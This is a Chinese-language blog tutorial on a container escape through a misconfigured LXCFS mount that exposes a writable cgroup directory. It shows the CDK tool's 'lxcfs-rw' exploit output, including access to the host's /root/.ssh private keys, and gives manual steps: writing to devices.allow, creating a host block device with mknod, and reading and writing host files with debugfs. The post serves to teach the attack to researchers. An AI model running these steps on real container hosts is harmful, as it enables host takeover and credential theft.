• 云安全研究
  • 【云原生渗透】- lxcfs cgroup错误配置容器逃逸漏洞

前言

继续学习容器逃逸知识:容器挂载的LXCFS目录包含cgroup目录时,可进行容器逃逸到宿主机。

漏洞介绍

lxcfs 是一个开源的FUSE(用户态文件系统)实现来支持LXC容器,它也可以支持Docker容器。

当pod挂载了LXCFS目录包含CGOURP目录,并且对CGROUP有写权限。

LXCFS简介

lxcfs 是一个开源的FUSE(用户态文件系统)实现来支持LXC容器,它也可以支持Docker容器。

LXCFS通过用户态文件系统,在容器中提供下列 procfs 的文件

/proc/cpuinfo
/proc/diskstats
/proc/meminfo
/proc/stat
/proc/swaps
/proc/uptime

比如,把宿主机的 /var/lib/lxcfs/proc/memoinfo 文件挂载到Docker容器的/proc/meminfo位置后。容器中进程读取相应文件内容时,LXCFS的FUSE实现会从容器对应的Cgroup中读取正确的内存限制(Linux利用Cgroup实现了对容器的资源限制)。从而使得应用获得正确的资源约束设定。

Docker环境下LXCFS使用

安装:

wget https://copr-be.cloud.fedoraproject.org/results/ganto/lxd/epel-7-x86_64/00486278-lxcfs/lxcfs-2.0.5-3.el7.centos.x86_64.rpm
yum install lxcfs-2.0.5-3.el7.centos.x86_64.rpm  

启动:

lxcfs /var/lib/lxcfs &  

运行容器并测试:

docker run -it -m 256m \
     -v /var/lib/lxcfs/proc/cpuinfo:/proc/cpuinfo:rw \
     -v /var/lib/lxcfs/proc/diskstats:/proc/diskstats:rw \
     -v /var/lib/lxcfs/proc/meminfo:/proc/meminfo:rw \
     -v /var/lib/lxcfs/proc/stat:/proc/stat:rw \
     -v /var/lib/lxcfs/proc/swaps:/proc/swaps:rw \
     -v /var/lib/lxcfs/proc/uptime:/proc/uptime:rw \
    ubuntu:16.04 /bin/bash
     
root@f4a2a01e61cd:/# free
            total       used       free     shared buff/cache   available
Mem:         262144         708      261436        2364           0      261436
Swap:             0           0           0

漏洞利用

cdk关于该漏洞的exp

./cdk run lxcfs-rw

root@lxcfs-rw:/tmp# ./cdk run lxcfs-rw
2021/01/28 09:25:21 found pod devices.allow path: /kubepods/burstable/pod561ee143-4468-443a-9940-f262a9417ae5/ef6edb3c483591aaa28923df6de84d1fedb9372890c4441fd0e31ed4972237b1
2021/01/28 09:25:21 found host blockDeviceId Marjor: 252 Minor: 1
2021/01/28 09:25:21 found rw lxcfs mountpoint: /data/test/lxcfs
2021/01/28 09:25:22 set all block device accessible success.
2021/01/28 09:25:22 devices.allow content: a *:* rwm
2021/01/28 09:25:22 exploit success, run "debugfs -w host_dev".

root@lxcfs-rw:/tmp# debugfs -w host_dev
debugfs 1.44.5 (15-Dec-2018)
debugfs:  ls /root/.ssh
393231 (12) .    52566 (12) ..    395870 (24) authorized_keys
395829 (16) config    395860 (20) known_hosts    393227 (16) id_rsa
395831 (3996) id_rsa.pub

漏洞复现

以下漏洞复现参考自:

https://its301.com/article/w1590191166/113089994

(1)首先需要安装lxcfs,运行lxcfs:lxcfs /var/lib/lxcfs

(2)docker起容器,把上图中lxcfs目录位置映射至容器内,之后mount |grep lxcfs即可看到lxcfs挂载情况

(3)echo a > /test/lxcfs/cgroup/devices/docker/e0345392dd64fdae204ecf561075e6a45d228806ecc6e6647e112e35d4408fd4/devices.allow设置容器允许访问所有类型设备(这里就需要包含的cgroup目录)

(4)cat /proc/self/mountinfo |grep etc查看/etc目录的node号

(5)mknod test2 b 254 1创建设备(设备文件名称test2、文件类型b为块设备、主设备号254、次设备号1

(6)debugfs -w test2进行调试,通过ls命令和write命令即可读写文件

写文件到宿主机目录下:

读宿主机文件:

参考链接

https://blog.csdn.net/yunqiinsight/article/details/80134494

https://its301.com/article/w1590191166/113089994

说点什么吧...